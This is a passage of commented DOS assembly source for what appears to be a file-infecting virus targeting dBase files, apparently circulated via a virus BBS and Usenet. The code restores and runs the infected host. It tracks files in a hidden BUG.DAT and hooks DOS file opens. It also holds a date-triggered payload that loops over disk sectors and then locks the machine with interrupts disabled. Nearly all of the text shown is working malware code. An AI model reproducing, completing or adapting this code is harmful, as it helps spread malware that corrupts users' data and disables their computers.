  868.     SUB    SI,OFFSET BP0644-DB0486    ; Address start of host read buffer
  869.     PUSH    BX
  870.     MOV    BX,0100H        ; Address start of host
  871.     MOV    AX,CS:[SI]        ; \ Restore start of host (1)
  872.     MOV    CS:[BX],AX        ; /
  873.     MOV    AX,CS:[SI+2]        ; \
  874.     ADD    BX,2            ;  ) Restore start of host (2)
  875.     MOV    CS:[BX],AX        ; /
  876.     POP    BX
  877.     POP    SI
  878.     POP    AX
  879.     MOV    AX,0100H        ; \ Branch to start of host
  880.     JMP    AX            ; /
  881.  
  882.     ; Search BUG.DAT file for pathname
  883.  
  884. BP0665:    PUSH    AX
  885.     PUSH    BX
  886.     PUSH    CX
  887.     PUSH    DX
  888.     PUSH    SI
  889.     PUSH    DI
  890.     PUSH    BP
  891.     PUSH    DS
  892.     PUSH    ES
  893.     CALL    BP0671            ; \ Get current address
  894. BP0671:    POP    BP            ; /
  895.     SUB    BP,OFFSET BP0671-DB0053    ; Address 'BUGS.DAT' pathname
  896.     PUSH    DS            ; \ Set ES to DS
  897.     POP    ES            ; /
  898.     MOV    DI,DX            ; Copy pathname pointer
  899.     PUSH    CS            ; \ Set DS to CS
  900.     POP    DS            ; /
  901.     MOV    DX,BP            ; Move pathname address
  902.     MOV    AX,3D00H        ; Open handle (read) function
  903.     PUSH    DI
  904.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  905.     INT    21H            ; DOS service
  906.     JNB    BP0697            ; Branch if no error
  907.     MOV    AH,3CH            ; Create handle function
  908.     MOV    CX,2            ; Hidden file
  909.     INT    21H            ; DOS service
  910.     JNB    BP0697            ; Branch if no error
  911. BP0692:    POP    DI
  912.     CLC
  913.     JMP    BP06D1
  914.  
  915. BP0697:    MOV    BX,AX            ; Move handle
  916.     ADD    DX,0CH            ; Read buffer
  917. BP069C:    MOV    CX,004EH        ; Length to read
  918.     MOV    AH,3FH            ; Read handle function
  919.     INT    21H            ; DOS service
  920.     JB    BP0692            ; Branch if error
  921.     CMP    AX,0            ; Did we read anything?
  922.     JNE    BP06B0            ; Branch if yes
  923.     MOV    AH,3EH            ; Close handle function
  924.     INT    21H            ; DOS service
  925.     JMP    BP0692
  926.  
  927. BP06B0:    POP    DI
  928.     MOV    SI,DX
  929.     PUSH    DI
  930. BP06B4:    MOV    AL,ES:[DI]        ; Get next character
  931.     CMP    AL,0            ; End of pathname?
  932.     JE    BP06C3            ; Branch if yes
  933.     CMP    AL,[SI]            ; Does it match file?
  934.     JNE    BP069C            ; Read next section if not
  935.     INC    SI            ; Next file character
  936.     INC    DI            ; Next pathname character
  937.     JMP    BP06B4            ; Compare next character
  938.  
  939.     ; Pathname found on BUG.DAT file
  940.  
  941. BP06C3:    POP    DI
  942.     MOV    AH,3EH            ; Close handle function
  943.     INT    21H            ; DOS service
  944.     STC
  945.     JMP    BP06D1
  946.  
  947.     ; unreferenced code
  948.  
  949.     MOV    AH,3EH            ; Close handle function
  950.     INT    21H            ; DOS service
  951.     CLC
  952.  
  953. BP06D1:    POP    ES
  954.     POP    DS
  955.     POP    BP
  956.     POP    DI
  957.     POP    SI
  958.     POP    DX
  959.     POP    CX
  960.     POP    BX
  961.     POP    AX
  962.     RET
  963.  
  964.     ; Open file function
  965.  
  966. BP06DB:    POPF
  967.     CALL    BP05C3            ; DOS service
  968.     JB    BP06F4            ; Branch if error
  969.     PUSHF
  970.     PUSH    SI
  971.     MOV    SI,DX
  972.     CALL    BP0468            ; Test for Dbase file
  973.     JNE    BP06F2            ; Branch if not
  974.     CALL    BP0665            ; Search BUG.DAT file for pathname
  975.     JNB    BP06F2            ; Branch if not found
  976.     CALL    BP0423
  977. BP06F2:    POP    SI
  978.     POPF
  979. BP06F4:    RETF    2
  980.  
  981.     ; Is file out of time?
  982.  
  983. BP06F7:    PUSH    AX
  984.     PUSH    CX
  985.     PUSH    DX
  986.     PUSH    SI
  987.     MOV    AX,5700H        ; Get file date & time function
  988.     INT    21H            ; DOS service
  989.     CALL    BP0703            ; \ Get current address
  990. BP0703:    POP    SI            ; /
  991.     SUB    SI,OFFSET BP0703-DW0387    ; Address file date
  992.     MOV    CS:[SI],DX        ; Save file date
  993.     MOV    CL,5            ; \ Move month to bottom of reg
  994.     SHR    DX,CL            ; /
  995.     AND    DX,0FH            ; Isolate month
  996.     MOV    AH,2AH            ; Get date function
  997.     PUSH    DX            ; Preserve file month
  998.     INT    21H            ; DOS service
  999.     POP    CX            ; Recover file month
  1000.     SUB    CL,DH            ; Subtract month from file month
  1001.     CMP    CL,0            ; Negative result?
  1002.     JGE    BP0721            ; Branch if not
  1003.     NEG    CL            ; Change the sign
  1004. BP0721:    CMP    CL,3            ; Three months difference?
  1005.     JL    BP0729            ; Branch if not
  1006.     JMP    BP072E
  1007.  
  1008. BP0729:    POP    SI
  1009.     POP    DX
  1010.     POP    CX
  1011.     POP    AX
  1012.     RET
  1013.  
  1014.     ; File three months old (or next year)
  1015.  
  1016. BP072E:    CLI
  1017.     MOV    AX,3            ; Start count
  1018. BP0732:    MOV    CX,0100H
  1019.     MOV    DX,0            ; \ Address zero
  1020.     MOV    DS,DX            ; /
  1021.     XOR    BX,BX
  1022.     PUSH    AX
  1023.     INT    3            ; Breakpoint
  1024.     INT    3            ; Breakpoint
  1025.     POP    AX
  1026.     INC    AX            ; Increment count
  1027.     CMP    AL,1AH            ; Has it reached 26?
  1028.     JL    BP0732            ; Branch if not
  1029. BP0745:    CLI                ; \ Loop with interrupts disabled
  1030.     JMP    BP0745            ; /
  1031.  
  1032. ENDADR    EQU    $
  1033.  
  1034. CODE    ENDS
  1035.  
  1036.     END
  1037. 
  1038. ; ─────────────────────────────────────────────────────────────────────────
  1039. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1040. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1041. ; ─────────────────────────────────────────────────────────────────────────
  1042.  
  1043.  
  1044.  
  1045. --
  1046. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  1047. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  1048. Student at the Northeatstern University College of Computer Science 
  1049. "I Can't Believe It's Not Butter"
  1050.  
  1051.